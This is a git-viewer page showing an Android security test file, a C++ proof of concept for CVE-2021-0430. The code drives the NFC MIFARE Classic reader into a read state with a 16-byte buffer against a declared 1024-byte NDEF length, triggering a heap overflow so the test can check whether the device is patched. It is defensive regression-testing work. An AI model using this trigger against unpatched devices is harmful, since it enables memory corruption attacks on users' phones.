summaryrefslogtreecommitdiff
path: root/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
blob: bb3bdc20f4dc903415d8a2c11e7ee12817c6d816 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <../includes/common.h>
#include <../includes/memutils.h>
#include <nfc_int.h>
#include <rw_int.h>

#define RW_MFC_STATE_READ_NDEF 0x03
#define RW_MFC_SUBSTATE_READ_BLOCK 0x03
#define RW_MFC_DATA_LEN 0x10
#define P_MFC_NDEF_LENGTH 1024

extern tRW_CB rw_cb;
tNFC_CONN *p_data = nullptr;
tRW_MFC_CB *p_mfc = nullptr;

char enable_selective_overload = ENABLE_NONE;

bool isTestInProgress = false;
struct sigaction new_action, old_action;
void sigsegv_handler(int signum, siginfo_t *info, void *context) {
    if (isTestInProgress && info->si_signo == SIGSEGV) {
        (*old_action.sa_sigaction)(signum, info, context);
        return;
    }
    exit(EXIT_FAILURE);
}

void GKI_freebuf(void *) {}

void GKI_start_timer(uint8_t, int32_t, bool) {}

void GKI_stop_timer(uint8_t) {}

void cback(tRW_EVENT, tRW_DATA *) {}

void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
    (void)event;
    (void)p_rw_data;
}

void exit_handler(void) {
    if (p_data) {
        if (p_data->data.p_data) {
            free(p_data->data.p_data);
            p_data->data.p_data = nullptr;
        }
        free(p_data);
        p_data = nullptr;
    }

    if (p_mfc) {
        if (p_mfc->p_ndef_buffer) {
            free(p_mfc->p_ndef_buffer);
            p_mfc->p_ndef_buffer = nullptr;
        }
        free(p_mfc);
        p_mfc = nullptr;
    }
}

int main() {
    atexit(exit_handler);
    sigemptyset(&new_action.sa_mask);
    new_action.sa_flags = SA_SIGINFO;
    new_action.sa_sigaction = sigsegv_handler;
    sigaction(SIGSEGV, &new_action, &old_action);

    tNFC_ACTIVATE_DEVT p_activate_params = {};
    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
    FAIL_CHECK(rw_cb.p_cback == &poc_cback);

    p_mfc = &rw_cb.tcb.mfc;

    GKI_init();
    rw_init();

    uint8_t selres = 1;
    uint8_t uid[MFC_UID_LEN] = {1};

    enable_selective_overload = ENABLE_MALLOC_CHECK;
    FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);

    p_mfc->state = RW_MFC_STATE_READ_NDEF;
    p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;

    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];

    p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
    FAIL_CHECK(p_data);

    p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
    FAIL_CHECK(p_data->data.p_data);

    p_data->data.status = NFC_STATUS_OK;
    tNFC_CONN_EVT event = NFC_DATA_CEVT;

    NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
    mfc_data->len = RW_MFC_DATA_LEN;
    mfc_data->offset = 0;
    p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
    p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
    FAIL_CHECK(p_mfc->p_ndef_buffer);

    rw_cb.p_cback = cback;

    isTestInProgress = true;
    p_cb->p_cback(0, event, p_data);
    isTestInProgress = false;

    return EXIT_SUCCESS;
}